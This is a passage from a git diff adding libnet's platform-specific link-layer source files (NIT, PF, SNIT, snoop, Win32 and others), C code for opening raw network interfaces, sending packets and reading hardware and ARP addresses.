sockaddr *)&sa, sizeof (sa)); + if (c != size) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_write_link(): only %d bytes written (%s)\n", c, + strerror(errno)); + } + return (c); +} + + +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l) +{ + int fd; + struct ifreq ifr; + struct libnet_ether_addr *eap; + /* + * XXX - non-re-entrant! + */ + static struct libnet_ether_addr ea; + + if (l == NULL) + { + return (NULL); + } + + if (l->device == NULL) + { + if (libnet_select_device(l) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_get_hwaddr: can't figure out a device to use\n"); + return (NULL); + } + } + + /* + * Create dummy socket to perform an ioctl upon. + */ + fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "socket: %s", strerror(errno)); + goto bad; + } + + memset(&ifr, 0, sizeof(ifr)); + eap = &ea; + strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) - 1); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + + if (ioctl(fd, SIOCGIFHWADDR, (int8_t *)&ifr) < 0) + { + close(fd); + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "ioctl: %s", strerror(errno)); + goto bad; + } + memcpy(eap, &ifr.ifr_hwaddr.sa_data, ETHER_ADDR_LEN); + close(fd); + return (eap); + +bad: + return (NULL); +} + + +/* EOF */ diff --git a/libnet/src/libnet_link_nit.c b/libnet/src/libnet_link_nit.c new file mode 100644 index 0000000..b7c11c5 --- /dev/null +++ b/libnet/src/libnet_link_nit.c @@ -0,0 +1,125 @@ +/* + * $Id: libnet_link_nit.c,v 1.6 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_nit.c - network interface tap routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +#include "../include/gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + +struct libnet_link_int * +libnet_open_link_interface(int8_t *device, int8_t *ebuf) +{ + struct sockaddr_nit snit; + register struct libnet_link_int *l; + + l = (struct libnet_link_int *)malloc(sizeof(*p)); + if (l == NULL) + { + strcpy(ebuf, strerror(errno)); + return (NULL); + } + + memset(l, 0, sizeof(*l)); + + l->fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW); + if (l->fd < 0) + { + sprintf(ebuf, "socket: %s", strerror(errno)); + goto bad; + } + snit.snit_family = AF_NIT; + strncpy(snit.snit_ifname, device, NITIFSIZ -1); + snit.snit_ifname[NITIFSIZ] = '\0'; + + if (bind(l->fd, (struct sockaddr *)&snit, sizeof(snit))) + { + sprintf(ebuf, "bind: %s: %s", snit.snit_ifname, strerror(errno)); + goto bad; + } + + /* + * NIT supports only ethernets. + */ + l->linktype = DLT_EN10MB; + + return (l); + +bad: + if (l->fd >= 0) + { + close(l->fd); + } + free(l); + return (NULL); +} + + +int +libnet_close_link_interface(struct libnet_link_int *l) +{ + if (close(l->fd) == 0) + { + free(l); + return (1); + } + else + { + free(l); + return (-1); + } +} + + +int +write_link_layer(struct libnet_link_int *l, const int8_t *device, + u_int8_t *buf, int len) +{ + int c; + struct sockaddr sa; + + memset(&sa, 0, sizeof(sa)); + strncpy(sa.sa_data, device, sizeof(sa.sa_data)); + + c = sendto(l->fd, buf, len, 0, &sa, sizeof(sa)); + if (c != len) + { + /* error */ + } + return (c); +} + diff --git a/libnet/src/libnet_link_none.c b/libnet/src/libnet_link_none.c new file mode 100644 index 0000000..ab6015d --- /dev/null +++ b/libnet/src/libnet_link_none.c @@ -0,0 +1,66 @@ +/* + * $Id: libnet_link_none.c,v 1.5 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_none.c - dummy routines for suckers with no link-layer interface + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1993, 1994, 1995, 1996, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +int +libnet_open_link(libnet_t *l) +{ + return (NULL); +} + + +int +libnet_close_link(libnet_t *l) +{ + return (-1); +} + + +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + return (-1); +} + + +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l) +{ + return (NULL); +} + +/* EOF */ diff --git a/libnet/src/libnet_link_pf.c b/libnet/src/libnet_link_pf.c new file mode 100644 index 0000000..533608e --- /dev/null +++ b/libnet/src/libnet_link_pf.c @@ -0,0 +1,164 @@ +/* + * $Id: libnet_link_pf.c,v 1.3 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_pf.c - pf routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * packet filter subroutines for tcpdump + * Extraction/creation by Jeffrey Mogul, DECWRL + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "../include/low_libnet.h" + +#include "../include/gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + +struct libnet_link_int * +libnet_open_link_interface(int8_t *device, int8_t *ebuf) +{ + register struct libnet_link_int *l; + int16_t enmode; + int backlog = -1; /* request the most */ + struct enfilter Filter; + struct endevp devparams; + + l = (struct libnet_link_int *)malloc(sizeof(*l)); + if (l == NULL) + { + sprintf(ebuf, "libnet_open_link_int: %s", strerror(errno)); + return (0); + } + memset(l, 0, sizeof(*l)); + l->fd = pfopen(device, O_RDWR); + if (l->fd < 0) + { + sprintf(ebuf, "pf open: %s: %s\n\your system may not be properly configured; see \"man packetfilter(4)\"\n", + device, strerror(errno)); + goto bad; + } + + enmode = ENTSTAMP|ENBATCH|ENNONEXCL; + if (ioctl(l->fd, EIOCMBIS, (caddr_t)&enmode) < 0) + { + sprintf(ebuf, "EIOCMBIS: %s", strerror(errno)); + goto bad; + } +#ifdef ENCOPYALL + /* Try to set COPYALL mode so that we see packets to ourself */ + enmode = ENCOPYALL; + ioctl(l->fd, EIOCMBIS, (caddr_t)&enmode); /* OK if this fails */ +#endif + /* set the backlog */ + if (ioctl(l->fd, EIOCSETW, (caddr_t)&backlog) < 0) + { + sprintf(ebuf, "EIOCSETW: %s", strerror(errno)); + goto bad; + } + /* + * discover interface type + */ + if (ioctl(l->fd, EIOCDEVP, (caddr_t)&devparams) < 0) + { + sprintf(ebuf, "EIOCDEVP: %s", strerror(errno)); + goto bad; + } + + /* HACK: to compile prior to Ultrix 4.2 */ +#ifndef ENDT_FDDI +#define ENDT_FDDI 4 +#endif + switch (devparams.end_dev_type) + { + case ENDT_10MB: + l->linktype = DLT_EN10MB; + break; + case ENDT_FDDI: + l->linktype = DLT_FDDI; + break; + default: + /* + * XXX + * Currently, the Ultrix packet filter supports only + * Ethernet and FDDI. Eventually, support for SLIP and PPP + * (and possibly others: T1?) should be added. + */ + l->linktype = DLT_EN10MB; + break; + } + /* + * acceptag all packets + */ + bzero((int8_t *)&Filter, sizeof(Filter)); + Filter.enf_Priority = 37; /* anything > 2 */ + Filter.enf_FilterLen = 0; /* means "always true" */ + if (ioctl(l->fd, EIOCSETF, (caddr_t)&Filter) < 0) + { + sprintf(ebuf, "EIOCSETF: %s", strerror(errno)); + goto bad; + } + + return (l); +bad: + free(l); + return (NULL); +} + + +int +libnet_close_link_interface(struct libnet_link_int *l) +{ + if (close(l->fd) == 0) + { + free(l); + return (1); + } + else + { + free(l); + return (-1); + } +} + + +int +libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device, + const u_int8_t *buf, int len) +{ + int c; + + c = write(l->fd, buf, len); + if (c != len) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_write_link: %d bytes written (%s)\n", c, + strerror(errno)); + } + return (c); +} diff --git a/libnet/src/libnet_link_snit.c b/libnet/src/libnet_link_snit.c new file mode 100644 index 0000000..6785e43 --- /dev/null +++ b/libnet/src/libnet_link_snit.c @@ -0,0 +1,149 @@ +/* + * $Id: libnet_link_snit.c,v 1.6 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_snit.c - snit routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * Modifications made to accommodate the new SunOS4.0 NIT facility by + * Micky Liu, micky@cunixc.cc.columbia.edu, Columbia University in May, 1989. + * This module now handles the STREAMS based NIT. + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif +#include "../include/gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + + +struct libnet_link_int * +libnet_open_link_interface(int8_t *device, int8_t *ebuf) +{ + struct strioctl si; /* struct for ioctl() */ + struct ifreq ifr; /* interface request struct */ + static int8_t dev[] = "/dev/nit"; + register struct libnet_link_int *l; + + l = (struct libnet_link_int *)malloc(sizeof(*l)); + if (l == NULL) + { + strcpy(ebuf, strerror(errno)); + return (NULL); + } + + memset(l, 0, sizeof(*l)); + + l->fd = open(dev, O_RDWR); + if (l->fd < 0) + { + sprintf(ebuf, "%s: %s", dev, strerror(errno)); + goto bad; + } + + /* + * arrange to get discrete messages from the STREAM and use NIT_BUF + */ + if (ioctl(l->fd, I_SRDOPT, (int8_t *)RMSGD) < 0) + { + sprintf(ebuf, "I_SRDOPT: %s", strerror(errno)); + goto bad; + } + if (ioctl(l->fd, I_PUSH, "nbuf") < 0) + { + sprintf(ebuf, "push nbuf: %s", strerror(errno)); + goto bad; + } + /* + * request the interface + */ + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name) -1); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + si.ic_cmd = NIOCBIND; + si.ic_len = sizeof(ifr); + si.ic_dp = (int8_t *)𝔦 + if (ioctl(l->fd, I_STR, (int8_t *)&si) < 0) + { + sprintf(ebuf, "NIOCBIND: %s: %s", ifr.ifr_name, strerror(errno)); + goto bad; + } + + ioctl(l->fd, I_FLUSH, (int8_t *)FLUSHR); + /* + * NIT supports only ethernets. + */ + l->linktype = DLT_EN10MB; + + return (l); +bad: + if (l->fd >= 0) + { + close(l->fd); + } + free(l); + return (NULL); +} + + +int +libnet_close_link_interface(struct libnet_link_int *l) +{ + if (close(l->fd) == 0) + { + free(l); + return (1); + } + else + { + free(l); + return (-1); + } +} + + +int +libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device, + const u_int8_t *buf, int len) +{ + int c; + struct sockaddr sa; + + memset(&sa, 0, sizeof(sa)); + strncpy(sa.sa_data, device, sizeof(sa.sa_data)); + + c = sendto(l->fd, buf, len, 0, &sa, sizeof(sa)); + if (c != len) + { + /* err */ + return (-1); + } + return (c); +} diff --git a/libnet/src/libnet_link_snoop.c b/libnet/src/libnet_link_snoop.c new file mode 100644 index 0000000..d0d3571 --- /dev/null +++ b/libnet/src/libnet_link_snoop.c @@ -0,0 +1,166 @@ +/* + * $Id: libnet_link_snoop.c,v 1.5 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_snoop.c - snoop routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#include <sys/param.h> +#include <sys/file.h> + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "../include/libnet.h" + +#include <net/raw.h> +#include <net/if.h> + +#include <netinet/ip_var.h> +#include <netinet/if_ether.h> +#include <netinet/udp_var.h> +#include <netinet/tcpip.h> + +#include "../include/gnuc.h" +#include "../include/bpf.h" +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + + +struct libnet_link_int * +libnet_open_link_interface(int8_t *device, int8_t *ebuf) +{ + int fd; + struct sockaddr_raw sr; + u_int v; + struct libnet_link_int *l; + + l = (struct libnet_link_int *)malloc(sizeof(*l)); + if (l == NULL) + { + sprintf(ebuf, "malloc: %s", strerror(errno)); + return (NULL); + } + memset(l, 0, sizeof(*l)); + l->fd = socket(PF_RAW, SOCK_RAW, RAWPROTO_DRAIN); + if (l->fd < 0) + { + sprintf(ebuf, "drain socket: %s", strerror(errno)); + goto bad; + } + + memset(&sr, 0, sizeof(sr)); + sr.sr_family = AF_RAW; + strncpy(sr.sr_ifname, device, sizeof(sr.sr_ifname) - 1); + sr.sr_name[sizeof(sr.sr_name) - 1] = '\0'; + + if (bind(l->fd, (struct sockaddr *)&sr, sizeof(sr))) + { + sprintf(ebuf, "drain bind: %s", strerror(errno)); + goto bad; + } + + /* + * XXX hack - map device name to link layer type + */ + if (strncmp("et", device, 2) == 0 || /* Challenge 10 Mbit */ + strncmp("ec", device, 2) == 0 || /* Indigo/Indy 10 Mbit, O2 10/100 */ + strncmp("ef", device, 2) == 0 || /* O200/2000 10/100 Mbit */ + strncmp("gfe", device, 3) == 0 || /* GIO 100 Mbit */ + strncmp("fxp", device, 3) == 0 || /* Challenge VME Enet */ + strncmp("ep", device, 2) == 0 || /* Challenge 8x10 Mbit EPLEX */ + strncmp("vfe", device, 3) == 0 || /* Challenge VME 100Mbit */ + strncmp("fa", device, 2) == 0 || + strncmp("qaa", device, 3) == 0) + { + l->linktype = DLT_EN10MB; + } + else if (strncmp("ipg", device, 3) == 0 || + strncmp("rns", device, 3) == 0 || /* O2/200/2000 FDDI */ + strncmp("xpi", device, 3) == 0) + { + l->linktype = DLT_FDDI; + } + else if (strncmp("ppp", device, 3) == 0) { + l->linktype = DLT_RAW; + } else if (strncmp("lo", device, 2) == 0) { + l->linktype = DLT_NULL; + } else { + sprintf(ebuf, "drain: unknown physical layer type"); + goto bad; + } + + return (l); + bad: + close(fd); + free(l); + return (NULL); +} + + +int +libnet_close_link_interface(struct libnet_link_int *l) +{ + if (close(l->fd) == 0) + { + free(l); + return (1); + } + else + { + free(l); + return (-1); + } +} + + +int +libnet_write_link_layer(struct libnet_link_int *l, const int8_t *device, + u_int8_t *buf, int len) +{ + int c; + struct ifreq ifr; + struct ether_header *eh = (struct ether_header *)buf; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + + if (ioctl(l->fd, SIOCGIFADDR, &ifr) == -1) + { + perror("ioctl SIOCGIFADDR"); + return (-1); + } + + memcpy(eh->ether_shost, ifr.ifr_addr.sa_data, sizeof(eh->ether_shost)); + + if (write(l->fd, buf, len) == -1) + { + /* err */ + return (-1); + } + + return (len); +} diff --git a/libnet/src/libnet_link_win32.c b/libnet/src/libnet_link_win32.c new file mode 100644 index 0000000..ef70dfe --- /dev/null +++ b/libnet/src/libnet_link_win32.c @@ -0,0 +1,346 @@ +/* + * $Id: libnet_link_win32.c,v 1.16 2004/02/18 18:19:00 mike Exp $ + * + * libnet + * libnet_link_win32.c - low-level win32 libwpcap routines + * + * Copyright (c) 2001 - 2002 Don Bowman <don@sandvine.com> + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Copyright (c) 2002 Roberto Larcher <roberto.larcher@libero.it> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include <winsock2.h> +#include <iphlpapi.h> // From the Microsoft Platform SDK +#include "../include/win32/libnet.h" +#include <assert.h> +#include <Packet32.h> +#include <Ntddndis.h> +#include "iprtrmib.h" + +int +libnet_open_link(libnet_t *l) +{ + DWORD dwErrorCode; + NetType IFType; + + if (l == NULL) + { + return (-1); + } + + if (l->device == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): NULL device\n", __func__); + return (-1); + } + + l->lpAdapter = 0; + + /* open adapter */ + l->lpAdapter = PacketOpenAdapter(l->device); + if (!l->lpAdapter || (l->lpAdapter->hFile == INVALID_HANDLE_VALUE)) + { + dwErrorCode=GetLastError(); + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unable to open the driver, error Code : %lx\n", + __func__, dwErrorCode); + return (-1); + } + + /* increase the send buffer */ + PacketSetBuff(l->lpAdapter, 512000); + + /* + * Assign link type and offset. + */ + if (PacketGetNetType(l->lpAdapter, &IFType)) + { + switch(IFType.LinkType) + { + case NdisMedium802_3: + l->link_type = DLT_EN10MB; + l->link_offset = LIBNET_ETH_H; + break; + case NdisMedium802_5: + l->link_type = DLT_IEEE802; + l->link_offset = LIBNET_TOKEN_RING_H; + break; + case NdisMediumFddi: + l->link_type = DLT_FDDI; + l->link_offset = 0x15; + break; + case NdisMediumWan: + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s():, WinPcap has disabled support for Network type (%d)\n", + __func__, IFType.LinkType); + return (-1); + break; + case NdisMediumAtm: + l->link_type = DLT_ATM_RFC1483; + break; + case NdisMediumArcnet878_2: + l->link_type = DLT_ARCNET; + break; + default: + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): network type (%d) is not supported\n", + __func__, IFType.LinkType); + return (-1); + break; + } + } + else + { + dwErrorCode=GetLastError(); + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unable to determine the network type, error Code : %lx\n", + __func__, dwErrorCode); + return (-1); + } + return (1); +} + +int +libnet_close_link_interface(libnet_t *l) +{ + if (l->lpAdapter) + { + PacketSetHwFilter(l->lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL); + PacketCloseAdapter(l->lpAdapter); + } + return (1); +} + +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + LPPACKET lpPacket; + DWORD BytesTransfered; + + BytesTransfered = -1; + + if ((lpPacket = PacketAllocatePacket()) == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): failed to allocate the LPPACKET structure\n", __func__); + return (-1); + } + PacketInitPacket(lpPacket, packet, size); + + /* PacketSendPacket returns a BOOLEAN */ + if(PacketSendPacket(l->lpAdapter, lpPacket, TRUE)) + { + BytesTransfered = size; + } + + PacketFreePacket(lpPacket); + return (BytesTransfered); + } + +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l) +{ + /* This implementation is not-reentrant. */ + static struct libnet_ether_addr *mac; + + ULONG IoCtlBufferLength = (sizeof(PACKET_OID_DATA) + sizeof(ULONG) - 1); + PPACKET_OID_DATA OidData; + + int i = 0; + + if (l == NULL) + { + return (NULL); + } + + if (l->device == NULL) + { + if (libnet_select_device(l) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't figure out a device to use\n", __func__); + return (NULL); + } + } + + mac = (struct libnet_ether_addr *)calloc(1,sizeof(struct libnet_ether_addr)); + if (mac == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): calloc error\n", __func__); + return (NULL); + } + + OidData = (struct _PACKET_OID_DATA *) malloc(IoCtlBufferLength); + + if (OidData == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): OidData is NULL\n", __func__); + return(NULL); + } + + if (l->link_type == DLT_IEEE802) + { + OidData->Oid = OID_802_5_CURRENT_ADDRESS; + } + else + { + OidData->Oid = OID_802_3_CURRENT_ADDRESS; + } + + OidData->Length = 6; + if((PacketRequest(l->lpAdapter, FALSE, OidData)) == FALSE) + { + memset(mac, 0, 6); + } + else + { + for (i = 0; i < 6; i++) + { + mac->ether_addr_octet[i] = OidData->Data[i]; + } + } + free(OidData); + return(mac); +} + +struct hostent *gethostbyname2(const int8_t *name, int af) +{ + // XXX not implemented + return(NULL); +} + +BYTE * +libnet_win32_get_remote_mac(libnet_t *l, DWORD DestIP) +{ + HRESULT hr; + ULONG pulMac[6]; + ULONG ulLen = 6; + static PBYTE pbHexMac; + PIP_ADAPTER_INFO pinfo = NULL; + DWORD dwSize = 0; + struct sockaddr_in sin; + static BYTE bcastmac[]= {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; + + BYTE *MAC = libnet_win32_read_arp_table(DestIP); + + if (MAC==NULL) + { + memset(pulMac, 0xff, sizeof (pulMac)); + memset(&sin, 0, sizeof(sin)); + + if((hr = SendARP (DestIP, 0, pulMac, &ulLen)) != NO_ERROR) + { + *(int32_t *)&sin.sin_addr = DestIP; + GetAdaptersInfo(NULL, &dwSize); + pinfo = (PIP_ADAPTER_INFO)GlobalAlloc(GPTR, dwSize); + GetAdaptersInfo(pinfo, &dwSize); + if(pinfo != NULL) + { + DestIP = inet_addr(pinfo->GatewayList.IpAddress.String); + memset (pulMac, 0xff, sizeof (pulMac)); + ulLen = 6; + if((hr = SendARP (DestIP, 0, pulMac, &ulLen)) != NO_ERROR) + { + GlobalFree(pinfo); + return(bcastmac); + } + } + else + { + GlobalFree(pinfo); + return(bcastmac); /* ff:ff:ff:ff:ff:ff */ + } + } + + pbHexMac = (PBYTE) pulMac; + + return (pbHexMac); + } + else + { + return (MAC); + } +} + +BYTE * libnet_win32_read_arp_table(DWORD DestIP) +{ + static BYTE buffMAC[6]; + BOOL fOrder=TRUE; + BYTE *MAC=NULL; + DWORD status, i, ci; + + PMIB_IPNETTABLE pIpNetTable = NULL; + DWORD Size = 0; + + memset(buffMAC, 0, sizeof(buffMAC)); + + if((status = GetIpNetTable(pIpNetTable, &Size, fOrder)) == ERROR_INSUFFICIENT_BUFFER) + { + pIpNetTable = (PMIB_IPNETTABLE) malloc(Size); + assert(pIpNetTable); + status = GetIpNetTable(pIpNetTable, &Size, fOrder); + } + + if(status == NO_ERROR) + { + // set current interface + ci = pIpNetTable->table[0].dwIndex; + + for (i = 0; i < pIpNetTable->dwNumEntries; ++i) + { + if (pIpNetTable->table[i].dwIndex != ci) + ci = pIpNetTable->table[i].dwIndex; + + if(pIpNetTable->table[i].dwAddr == DestIP) // found IP in arp cache + { + memcpy(buffMAC, pIpNetTable->table[i].bPhysAddr, sizeof(buffMAC)); + free(pIpNetTable); + return buffMAC; + } + } + + if (pIpNetTable) + free (pIpNetTable); + return(NULL); + } + else + { + if (pIpNetTable) + { + free (pIpNetTable); + } + MAC=NULL; + } + return(NULL); +} + +/* EOF */ diff --git a/libnet/src/libnet_pblock.c b/libnet/src/libnet_pblock.c new file mode 100644 index 0000000..96af5a1 --- /dev/null +++ b/libnet/src/libnet_pblock.c @@ -0,0 +1,511 @@ +/* + * $Id: libnet_pblock.c,v 1.14 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_pblock.c - Memory protocol block routines. + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 